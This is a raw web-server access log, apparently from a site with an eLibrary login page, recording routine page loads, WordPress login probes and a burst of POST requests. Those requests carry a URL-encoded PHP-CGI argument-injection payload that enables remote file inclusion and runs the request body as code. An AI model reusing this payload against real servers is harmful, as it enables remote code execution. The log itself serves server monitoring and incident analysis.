127.0.0.1 - - [16/Jul/2020:02:32:09 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:02:32:09 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:02:32:10 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:02:32:10 -0400] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [16/Jul/2020:02:32:11 -0400] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:02:32:11 -0400] "GET /images/Pocket_textbooks_LOGO.png HTTP/1.1" 200 69538 127.0.0.1 - - [16/Jul/2020:02:32:11 -0400] "GET /fonts/opensans-regular-webfont.woff2 HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:02:32:11 -0400] "GET /images/eLibrary%20Pro%20Logo%20-%20Powered%20by%203.png HTTP/1.1" 200 213908 127.0.0.1 - - [16/Jul/2020:02:32:12 -0400] "GET /images/bg.png HTTP/1.1" 200 166566 127.0.0.1 - - [16/Jul/2020:02:32:12 -0400] "GET /fonts/opensans-regular-webfont.woff HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:02:32:12 -0400] "GET /fonts/opensans-regular-webfont.ttf HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:02:32:13 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 127.0.0.1 - - [16/Jul/2020:02:32:15 -0400] "GET /images/elibrary2.png HTTP/1.1" 200 3119896 127.0.0.1 - - [16/Jul/2020:02:51:47 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:02:51:47 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:02:51:47 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:02:51:48 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:03:14:45 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:03:14:45 -0400] "GET /login HTTP/1.1" 200 4254 83.97.20.35 - - [16/Jul/2020:03:20:50 -0400] "GET / HTTP/1.0" 302 - 127.0.0.1 - - [16/Jul/2020:04:02:15 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:04:02:15 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:04:02:15 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:04:02:16 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:04:38:12 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:04:38:12 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:04:38:12 -0400] "GET /images/CSG%20elibrary%20Logo.png HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:04:38:12 -0400] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [16/Jul/2020:04:38:13 -0400] "GET /images/Pocket_textbooks_LOGO.png HTTP/1.1" 200 69538 127.0.0.1 - - [16/Jul/2020:04:38:13 -0400] "GET /images/eLibrary%20Pro%20Logo%20-%20Powered%20by%203.png HTTP/1.1" 200 213908 127.0.0.1 - - [16/Jul/2020:04:38:13 -0400] "GET /images/bg.png HTTP/1.1" 200 166566 127.0.0.1 - - [16/Jul/2020:04:38:13 -0400] "GET /fonts/opensans-regular-webfont.woff2 HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:04:38:13 -0400] "GET /fonts/opensans-regular-webfont.woff HTTP/1.1" 404 990 127.0.0.1 - - [16/Jul/2020:05:14:42 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:05:14:42 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:05:14:42 -0400] "GET /humans.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:05:14:42 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:05:14:43 -0400] "GET /ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:05:14:43 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:05:14:43 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:05:14:44 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:06:46:09 -0400] "GET /bin/ HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:10:28:43 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:10:28:43 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:10:28:51 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:10:28:51 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:10:29:01 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:10:29:02 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:11:27:36 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:11:27:36 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:11:27:42 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:11:27:42 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:11:28:03 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:11:28:04 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:12:40:50 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:12:40:51 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:12:41:15 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:12:41:15 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:12:41:54 -0400] "GET /wp-login.php HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:12:41:55 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [16/Jul/2020:13:51:23 -0400] "POST /?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:24 -0400] "POST /php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:24 -0400] "POST /php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:24 -0400] "POST /php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:25 -0400] "POST /php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:25 -0400] "POST /php4.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:26 -0400] "POST /php5.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 302 - 127.0.0.1 - - [16/Jul/2020:13:51:26 -0400] "POST /cgi/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:26 -0400] "POST /cgi/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:27 -0400] "POST /cgi/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:27 -0400] "POST /cgi/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:28 -0400] "POST /cgi/php4.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:28 -0400] "POST /cgi/php5.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:28 -0400] "POST /cgi/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:29 -0400] "POST /cgi/php4-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:29 -0400] "POST /cgi/php5-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:30 -0400] "POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:31 -0400] "POST /cgi-bin/php4?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:31 -0400] "POST /cgi-bin/php5?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:32 -0400] "POST /cgi-bin/php.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:32 -0400] "POST /cgi-bin/php4.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:32 -0400] "POST /cgi-bin/php5.cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:33 -0400] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 200 2145 127.0.0.1 - - [16/Jul/2020:13:51:33 -0400] "POST 